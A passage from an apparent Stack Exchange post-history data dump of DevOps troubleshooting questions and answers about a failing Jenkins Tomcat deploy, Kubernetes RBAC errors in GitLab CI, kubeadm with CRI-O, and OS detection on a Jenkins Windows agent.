............................................. [1;32mSUCCESS[m [  0.776 s]&#xD;&#xA;    [[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;    [[1;34mINFO[m] [1;32mBUILD SUCCESS[m&#xD;&#xA;    [[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;    [[1;34mINFO[m] Total time:  3.453 s&#xD;&#xA;    [[1;34mINFO[m] Finished at: 2020-02-06T19:47:13Z&#xD;&#xA;    [[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;    [DeployPublisher][INFO] Attempting to deploy 1 war file(s)&#xD;&#xA;    [DeployPublisher][INFO] Deploying /home/ubuntu/.jenkins/workspace/Development/webapp/target/webapp.war to container Tomcat 8.x Remote with context testapp&#xD;&#xA;    ERROR: Build step failed with exception&#xD;&#xA;    org.codehaus.cargo.container.ContainerException: Failed to redeploy [/home/ubuntu/.jenkins/workspace/Development/webapp/target/webapp.war]&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:188)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.deploy(CargoContainerAdapter.java:81)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:167)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:136)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1075)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1058)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.redeployFile(CargoContainerAdapter.java:133)&#xD;&#xA;    	at hudson.plugins.deploy.PasswordProtectedAdapterCargo.redeployFile(PasswordProtectedAdapterCargo.java:95)&#xD;&#xA;    	at hudson.plugins.deploy.DeployPublisher.perform(DeployPublisher.java:113)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:78)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:741)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1878)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:428)&#xD;&#xA;    Caused by: javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?&#xD;&#xA;    	at sun.security.ssl.InputRecord.handleUnknownRecord(InputRecord.java:710)&#xD;&#xA;    	at sun.security.ssl.InputRecord.read(InputRecord.java:527)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:975)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1367)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1395)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1379)&#xD;&#xA;    	at sun.net.www.protocol.https.HttpsClient.afterConnect(HttpsClient.java:559)&#xD;&#xA;    	at sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(AbstractDelegateHttpsURLConnection.java:185)&#xD;&#xA;    	at sun.net.www.protocol.https.HttpsURLConnectionImpl.connect(HttpsURLConnectionImpl.java:167)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:567)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.list(TomcatManager.java:882)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.getStatus(TomcatManager.java:895)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:169)&#xD;&#xA;    	... 18 more&#xD;&#xA;    javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?&#xD;&#xA;    	at sun.security.ssl.InputRecord.handleUnknownRecord(InputRecord.java:710)&#xD;&#xA;    	at sun.security.ssl.InputRecord.read(InputRecord.java:527)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:975)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1367)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1395)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1379)&#xD;&#xA;    	at sun.net.www.protocol.https.HttpsClient.afterConnect(HttpsClient.java:559)&#xD;&#xA;    	at sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(AbstractDelegateHttpsURLConnection.java:185)&#xD;&#xA;    	at sun.net.www.protocol.https.HttpsURLConnectionImpl.connect(HttpsURLConnectionImpl.java:167)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:567)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.list(TomcatManager.java:882)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.getStatus(TomcatManager.java:895)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:169)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.deploy(CargoContainerAdapter.java:81)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:167)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:136)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1075)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1058)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.redeployFile(CargoContainerAdapter.java:133)&#xD;&#xA;    	at hudson.plugins.deploy.PasswordProtectedAdapterCargo.redeployFile(PasswordProtectedAdapterCargo.java:95)&#xD;&#xA;    	at hudson.plugins.deploy.DeployPublisher.perform(DeployPublisher.java:113)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:78)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:741)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1878)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:428)&#xD;&#xA;    Build step 'Deploy war/ear to a container' marked build as failure&#xD;&#xA;    Finished: FAILURE" ContentLicense="CC BY-SA 4.0" />
  <row Id="33021" PostHistoryTypeId="2" PostId="10755" RevisionGUID="97cc7b46-47dc-475c-81a0-44fc2b816401" CreationDate="2020-02-10T07:14:08.713" UserId="4115" Text="Although I haven't tried using the Parameterized Scheduler in particular, I don't think you will be able to use this plugin to trigger a build with Active Choice parameters - most plugins don't support passing Active Choice parameters to builds.  There is currently [an open bug report on this issue](https://issues.jenkins-ci.org/browse/JENKINS-28735).&#xD;&#xA;&#xD;&#xA;As for a workaround - I have been able to successfully trigger builds with Active Choice parameters using the HTTP REST API `/build` endpoint (a bit counterintuitively, NOT `/buildWithParameters`).  So for instance you could have a second job that runs on a schedule and does nothing but hit the API endpoint to trigger the job and pass parameters, or you could have a plain Unix cronjob that hits the endpoint, or something else along those lines." ContentLicense="CC BY-SA 4.0" />
  <row Id="33027" PostHistoryTypeId="5" PostId="10751" RevisionGUID="dea08faf-a3d7-41ad-863c-2fb19de6fa40" CreationDate="2020-02-10T09:24:40.547" UserId="19506" Comment="added 244 characters in body" Text="I integrate the existing kubernetes cluster to the gitlab instance (omnibus). I get the below error in the deployment stage of CI/CD pipeline:&#xD;&#xA;&#xD;&#xA;    Error from server (Forbidden): error when retrieving current configuration of:&#xD;&#xA;     Resource: &quot;apps/v1, Resource=deployments&quot;, GroupVersionKind: &quot;apps/v1, Kind=Deployment&quot;&#xD;&#xA;     Name: &quot;test-deployment&quot;, Namespace: &quot;default&quot;&#xD;&#xA;     Object: &amp;{map[&quot;apiVersion&quot;:&quot;apps/v1&quot; &quot;kind&quot;:&quot;Deployment&quot; &quot;metadata&quot;:map[&quot;annotations&quot;:map[&quot;kubectl.kubernetes.io/last-applied-configuration&quot;:&quot;&quot;] &quot;name&quot;:&quot;test-deployment&quot; &quot;namespace&quot;:&quot;default&quot;] &quot;spec&quot;:map[&quot;replicas&quot;:'\x01' &quot;selector&quot;:map[&quot;matchLabels&quot;:map[&quot;app&quot;:&quot;test&quot;]] &quot;template&quot;:map[&quot;metadata&quot;:map[&quot;labels&quot;:map[&quot;app&quot;:&quot;test&quot;]] &quot;spec&quot;:map[&quot;containers&quot;:[map[&quot;env&quot;:[map[&quot;name&quot;:&quot;OHH_COMMON_REDEPLOY&quot; &quot;value&quot;:&quot;Sun Feb  9 13:55:45 +0330 2020&quot;]] &quot;image&quot;:&quot;192.168.10.6:5000/majid/hello-world:v0.01&quot; &quot;name&quot;:&quot;test&quot; &quot;ports&quot;:[map[&quot;containerPort&quot;:'P']]]]]]]]}&#xD;&#xA;     from server for: &quot;deployment.yaml&quot;: deployments.apps &quot;test-deployment&quot; is forbidden: User &quot;system:serviceaccount:kubetest-2-bina:kubetest-2-bina-service-account&quot; cannot get resource &quot;deployments&quot; in API group &quot;apps&quot; in the namespace &quot;default&quot;&#xD;&#xA;     ERROR: Job failed: exit status 1&#xD;&#xA;&#xD;&#xA;There is my .gitlab-ci.yaml file:&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      image:&#xD;&#xA;        name: lachlanevenson/k8s-kubectl:latest &#xD;&#xA;        entrypoint: [&quot;/bin/sh&quot;, &quot;-c&quot;]&#xD;&#xA;      stage: deploy&#xD;&#xA;      environment:&#xD;&#xA;        name: bina&#xD;&#xA;        url: https://192.168.x.x&#xD;&#xA;      only:&#xD;&#xA;        - master&#xD;&#xA;      script:&#xD;&#xA;        - kubectl version&#xD;&#xA;        - sed -ie &quot;s/THIS_WILL_BE_REPLACED/$(date)/g&quot; deployment.yaml&#xD;&#xA;        - kubectl apply -f deployment.yaml --namespace=default&#xD;&#xA;&#xD;&#xA;The deployment file look like this:&#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1 &#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: test-deployment&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: test&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: test&#xD;&#xA;        spec:&#xD;&#xA;          imagePullSecrets:&#xD;&#xA;          - name: regcred&#xD;&#xA;          containers:&#xD;&#xA;          - name: test&#xD;&#xA;            image: 192.168.10.6:5000/majid/hello-world:v0.01&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 80&#xD;&#xA;            env:&#xD;&#xA;            - name: OHH_COMMON_REDEPLOY&#xD;&#xA;              value: THIS_WILL_BE_REPLACED&#xD;&#xA;&#xD;&#xA;I also create ServiceAccount and ClusterRoleBinding:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ServiceAccount&#xD;&#xA;    metadata:&#xD;&#xA;      name: gitlab-admin&#xD;&#xA;      namespace: kube-system&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1beta1&#xD;&#xA;    kind: ClusterRoleBinding&#xD;&#xA;    metadata:&#xD;&#xA;      name: gitlab-admin&#xD;&#xA;    roleRef:&#xD;&#xA;      apiGroup: rbac.authorization.k8s.io&#xD;&#xA;      kind: ClusterRole&#xD;&#xA;      name: cluster-admin&#xD;&#xA;    subjects:&#xD;&#xA;    - kind: ServiceAccount&#xD;&#xA;      name: gitlab-admin&#xD;&#xA;      namespace: kube-system&#xD;&#xA;&#xD;&#xA;clusterRole definition:&#xD;&#xA;&#xD;&#xA;    kind: ClusterRole&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: secret-reader&#xD;&#xA;    rules:&#xD;&#xA;    - apiGroups: [&quot;&quot;]&#xD;&#xA;      resources: [&quot;secrets&quot;]&#xD;&#xA;      verbs: [&quot;get&quot;, &quot;watch&quot;, &quot;list&quot;]&#xD;&#xA;&#xD;&#xA;How can I resolve this issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33029" PostHistoryTypeId="2" PostId="10757" RevisionGUID="9eb5e851-293a-4271-bc77-6db97fe6bbef" CreationDate="2020-02-10T10:03:31.270" UserId="19598" Text="I've been following this doc to deploy kubernetes https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/&#xD;&#xA;&#xD;&#xA;After launching the &quot;kubeadm init&quot; command and during its excecution, this is the output:&#xD;&#xA;&#xD;&#xA;&gt; [kubelet-check] The HTTP call equal to 'curl -sSL http://localhost:10248/healthz' failed with error: Get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.&#xD;&#xA;Unfortunately, an error has occurred:&#xD;&#xA;        timed out waiting for the condition&#xD;&#xA;This error is likely caused by:&#xD;&#xA;        - The kubelet is not running&#xD;&#xA;        - The kubelet is unhealthy due to a misconfiguration of the node in some way (required cgroups disabled)&#xD;&#xA;If you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:&#xD;&#xA;        - 'systemctl status kubelet'&#xD;&#xA;        - 'journalctl -xeu kubelet'&#xD;&#xA;Additionally, a control plane component may have crashed or exited when started by the container runtime.&#xD;&#xA;To troubleshoot, list all containers using your preferred container runtimes CLI, e.g. docker.&#xD;&#xA;Here is one example how you may list all Kubernetes containers running in docker:&#xD;&#xA;        - 'docker ps -a | grep kube | grep -v pause'&#xD;&#xA;        Once you have found the failing container, you can inspect its logs with:&#xD;&#xA;        - 'docker logs CONTAINERID'&#xD;&#xA;error execution phase wait-control-plane: couldn't initialize a Kubernetes cluster&#xD;&#xA;To see the stack trace of this error execute with --v=5 or higher&#xD;&#xA;&#xD;&#xA;It runs fine if I install docker and switch the runtime to docker instead of &quot;remote&quot; and &quot;systemd&quot;.&#xD;&#xA;&#xD;&#xA;I've tried several things, but this is the content of my last try:&#xD;&#xA;&#xD;&#xA;&gt;  cat etc/sysconfig/kubelet&#xD;&#xA;&#xD;&#xA;&gt;  KUBELET_ARGS=&quot;--container-runtime=remote&#xD;&#xA;&gt; --container-runtime-endpoint=unix:///var/run/crio/crio.sock --runtime-request-timeout=10m --cluster_domain=topota.madre&quot;&#xD;&#xA;&#xD;&#xA;&gt; systemctl cat kubelet&#xD;&#xA;&gt; &#xD;&#xA;&gt; \# /usr/lib/systemd/system/kubelet.service [Unit] Description=kubelet: The Kubernetes Node Agent Documentation=https://kubernetes.io/docs/&#xD;&#xA;&gt; &#xD;&#xA;&gt; [Service] ExecStart=/usr/bin/kubelet Restart=always&#xD;&#xA;&gt; StartLimitInterval=0 RestartSec=10&#xD;&#xA;&gt; &#xD;&#xA;&gt; [Install] WantedBy=multi-user.target&#xD;&#xA;&gt; &#xD;&#xA;&gt; \# /usr/lib/systemd/system/kubelet.service.d/10-kubeadm.conf&#xD;&#xA;&gt; \# Note: This dropin only works with kubeadm and kubelet v1.11+ [Service]&#xD;&#xA;&gt; Environment=&quot;KUBELET_KUBECONFIG_ARGS=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf&#xD;&#xA;&gt; --kubeconfig=/etc/ Environment=&quot;KUBELET_CONFIG_ARGS=--config=/var/lib/kubelet/config.yaml&quot;&#xD;&#xA;&gt; \# This is a file that &quot;kubeadm init&quot; and &quot;kubeadm join&quot; generates at runtime, populating the KUBELET_KUBEADM_ARGS var&#xD;&#xA;&gt; EnvironmentFile=-/var/lib/kubelet/kubeadm-flags.env&#xD;&#xA;&gt; \# This is a file that the user can use for overrides of the kubelet args as a last resort. Preferably, the user shoul&#xD;&#xA;&gt; \# the .NodeRegistration.KubeletExtraArgs object in the configuration files instead. KUBELET_EXTRA_ARGS should be sour&#xD;&#xA;&gt; EnvironmentFile=-/etc/sysconfig/kubelet ExecStart=&#xD;&#xA;&gt; ExecStart=/usr/bin/kubelet $KUBELET_KUBECONFIG_ARGS&#xD;&#xA;&gt; $KUBELET_CONFIG_ARGS $KUBELET_KUBEADM_ARGS $KUBELET_EXTRA_ARGS&#xD;&#xA;&#xD;&#xA;&gt; cat /var/lib/kubelet/kubeadm-flags.env&#xD;&#xA;&#xD;&#xA;&gt; is empty right now&#xD;&#xA;&#xD;&#xA;Cri-O service ir running ok and Docker is not installed.&#xD;&#xA;&#xD;&#xA;Any help please?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33030" PostHistoryTypeId="1" PostId="10757" RevisionGUID="9eb5e851-293a-4271-bc77-6db97fe6bbef" CreationDate="2020-02-10T10:03:31.270" UserId="19598" Text="kubeadm init fails when using cri-o" ContentLicense="CC BY-SA 4.0" />
  <row Id="33031" PostHistoryTypeId="3" PostId="10757" RevisionGUID="9eb5e851-293a-4271-bc77-6db97fe6bbef" CreationDate="2020-02-10T10:03:31.270" UserId="19598" Text="&lt;kubernetes&gt;&lt;kubeadm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33032" PostHistoryTypeId="2" PostId="10758" RevisionGUID="c862fd7c-dc58-4cb8-902f-5bbbd3ca5109" CreationDate="2020-02-10T11:22:50.153" UserId="4197" Text="I have the following pipeline (Jenkinsfile):&#xD;&#xA;&#xD;&#xA;    @Library('mylib@master')&#xD;&#xA;    &#xD;&#xA;    import com.mylib.*&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        &#xD;&#xA;        agent { label 'WindowsSlaveWS2016' }&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage('Demo') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'a'&#xD;&#xA;                    determineOS()&#xD;&#xA;                    echo 'b'&#xD;&#xA;                    // sh 'echo &quot;[Version 1.0.0]&quot; | tee -a changelog.txt'&#xD;&#xA;                    sayHello()&#xD;&#xA;                    //getServiceVersion('.', 'changelog.txt', 'myservice')&#xD;&#xA;                    // cat service.properties&#xD;&#xA;                    // sendEmail('failed', 'jon.udaondo@pandasecurity.com')&#xD;&#xA;                    script {&#xD;&#xA;                        def utils = new Utils()&#xD;&#xA;                        if (utils.isWindows()) {&#xD;&#xA;                            echo '&lt;-- Is windwos --&gt;'&#xD;&#xA;                        }&#xD;&#xA;                        else {&#xD;&#xA;                            echo '&lt;-- Is linux --&gt;'&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;determineOS() groovy script is a simple script that does the following:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;    &#xD;&#xA;    def call() {&#xD;&#xA;        if (System.properties['os.name'].toLowerCase().contains('windows')) {&#xD;&#xA;            println &quot;it's Windows&quot;&#xD;&#xA;        } else {&#xD;&#xA;            println &quot;it's not Windows&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and utils.Windows() does the following:&#xD;&#xA;&#xD;&#xA;#!/usr/bin/groovy&#xD;&#xA;&#xD;&#xA;package com.ciplatforms;&#xD;&#xA;&#xD;&#xA;class Utils implements Serializable {&#xD;&#xA;&#xD;&#xA;    def isWindows() {&#xD;&#xA;        if (System.properties['os.name'].toLowerCase().contains('windows')) {&#xD;&#xA;            println &quot;it's Windows&quot;&#xD;&#xA;            return true&#xD;&#xA;        } else {&#xD;&#xA;            println &quot;it's not Windows&quot;&#xD;&#xA;            return false&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;I am running the job in a Windows machine as you can notice in the pipeline but the log displays the following:&#xD;&#xA;&#xD;&#xA;    Running on WindowsSlaveWS2016 in C:\Jenkins\workspace\test-jon-udaondo-pipeline-shared-library&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Demo)&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    a&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    it's not Windows&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    b&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    Hello, human.&#xD;&#xA;    [Pipeline] script&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    &lt;-- Is linux --&gt;&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // script&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;Any ideas why this is happening?&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="33033" PostHistoryTypeId="1" PostId="10758" RevisionGUID="c862fd7c-dc58-4cb8-902f-5bbbd3ca5109" CreationDate="2020-02-10T11:22:50.153" UserId="4197" Text="Running code in Windows agent but script says we are in Linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="33034" PostHistoryTypeId="3" PostId="10758" RevisionGUID="c862fd7c-dc58-4cb8-902f-5bbbd3ca5109" CreationDate="2020-02-10T11:22:50.153" UserId="4197" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33035" PostHistoryTypeId="5" PostId="10758" RevisionGUID="2c4c5175-a5ff-4a73-be84-b8c59d1c174b" CreationDate="2020-02-10T12:07:22.023" UserId="4197" Comment="deleted 16 characters in body" Text="I have the following pipeline (Jenkinsfile):&#xD;&#xA;&#xD;&#xA;    @Library('mylib@master')&#xD;&#xA;    &#xD;&#xA;    import com.mylib.*&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        &#xD;&#xA;        agent { label 'WindowsSlaveWS2016' }&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage('Demo') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'a'&#xD;&#xA;                    determineOS()&#xD;&#xA;                    echo 'b'&#xD;&#xA;                    // sh 'echo &quot;[Version 1.0.0]&quot; | tee -a changelog.txt'&#xD;&#xA;                    sayHello()&#xD;&#xA;                    //getServiceVersion('.', 'changelog.txt', 'myservice')&#xD;&#xA;                    // cat service.properties&#xD;&#xA;                    // sendEmail('failed', 'test@test.com')&#xD;&#xA;                    script {&#xD;&#xA;                        def utils = new Utils()&#xD;&#xA;                        if (utils.isWindows()) {&#xD;&#xA;                            echo '&lt;-- Is windwos --&gt;'&#xD;&#xA;                        }&#xD;&#xA;                        else {&#xD;&#xA;                            echo '&lt;-- Is linux --&gt;'&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;determineOS() groovy script is a simple script that does the following:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;    &#xD;&#xA;    def call() {&#xD;&#xA;        if (System.properties['os.name'].toLowerCase().contains('windows')) {&#xD;&#xA;            println &quot;it's Windows&quot;&#xD;&#xA;        } else {&#xD;&#xA;            println &quot;it's not Windows&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and utils.Windows() does the following:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/groovy&#xD;&#xA;    &#xD;&#xA;    package com.ciplatforms;&#xD;&#xA;    &#xD;&#xA;    class Utils implements Serializable {&#xD;&#xA;    &#xD;&#xA;        def isWindows() {&#xD;&#xA;            if (System.properties['os.name'].toLowerCase().contains('windows')) {&#xD;&#xA;                println &quot;it's Windows&quot;&#xD;&#xA;                return true&#xD;&#xA;            } else {&#xD;&#xA;                println &quot;it's not Windows&quot;&#xD;&#xA;                return false&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I am running the job in a Windows machine as you can notice in the pipeline but the log displays the following:&#xD;&#xA;&#xD;&#xA;    Running on WindowsSlaveWS2016 in C:\Jenkins\workspace\test-jon-udaondo-pipeline-shared-library&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Demo)&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    a&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    it's not Windows&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    b&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    Hello, human.&#xD;&#xA;    [Pipeline] script&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    &lt;-- Is linux --&gt;&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // script&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;Any ideas why this is happening?&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33036" PostHistoryTypeId="4" PostId="10758" RevisionGUID="6cae4baf-1af0-424b-a4d6-ae89a4f86f57" CreationDate="2020-02-10T13:20:40.283" UserId="4197" Comment="edited title" Text="Jenkins - Running code in Windows agent but script says we are in Linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="33037" PostHistoryTypeId="5" PostId="10758" RevisionGUID="6cae4baf-1af0-424b-a4d6-ae89a4f86f57" CreationDate="2020-02-10T13:20:40.283" UserId="4197" Comment="edited title" Text="I have the following pipeline (Jenkinsfile):&#xD;&#xA;&#xD;&#xA;    @Library('mylib@master')&#xD;&#xA;    &#xD;&#xA;    import com.mylib.*&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        &#xD;&#xA;        agent { label 'WindowsSlaveWS2016' }&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage('Demo') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'a'&#xD;&#xA;                    determineOS()&#xD;&#xA;                    echo 'b'&#xD;&#xA;                    // sh 'echo &quot;[Version 1.0.0]&quot; | tee -a changelog.txt'&#xD;&#xA;                    sayHello()&#xD;&#xA;                    //getServiceVersion('.', 'changelog.txt', 'myservice')&#xD;&#xA;                    // cat service.properties&#xD;&#xA;                    // sendEmail('failed', 'test@test.com')&#xD;&#xA;                    script {&#xD;&#xA;                        def utils = new Utils()&#xD;&#xA;                        if (utils.isWindows()) {&#xD;&#xA;                            echo '&lt;-- Is windwos --&gt;'&#xD;&#xA;                        }&#xD;&#xA;                        else {&#xD;&#xA;                            echo '&lt;-- Is linux --&gt;'&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;determineOS() groovy script is a simple script that does the following:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;    &#xD;&#xA;    def call() {&#xD;&#xA;        if (System.properties['os.name'].toLowerCase().contains('windows')) {&#xD;&#xA;            println &quot;it's Windows&quot;&#xD;&#xA;        } else {&#xD;&#xA;            println &quot;it's not Windows&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and utils.Windows() does the following:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/groovy&#xD;&#xA;    &#xD;&#xA;    package com.ciplatforms;&#xD;&#xA;    &#xD;&#xA;    class Utils implements Serializable 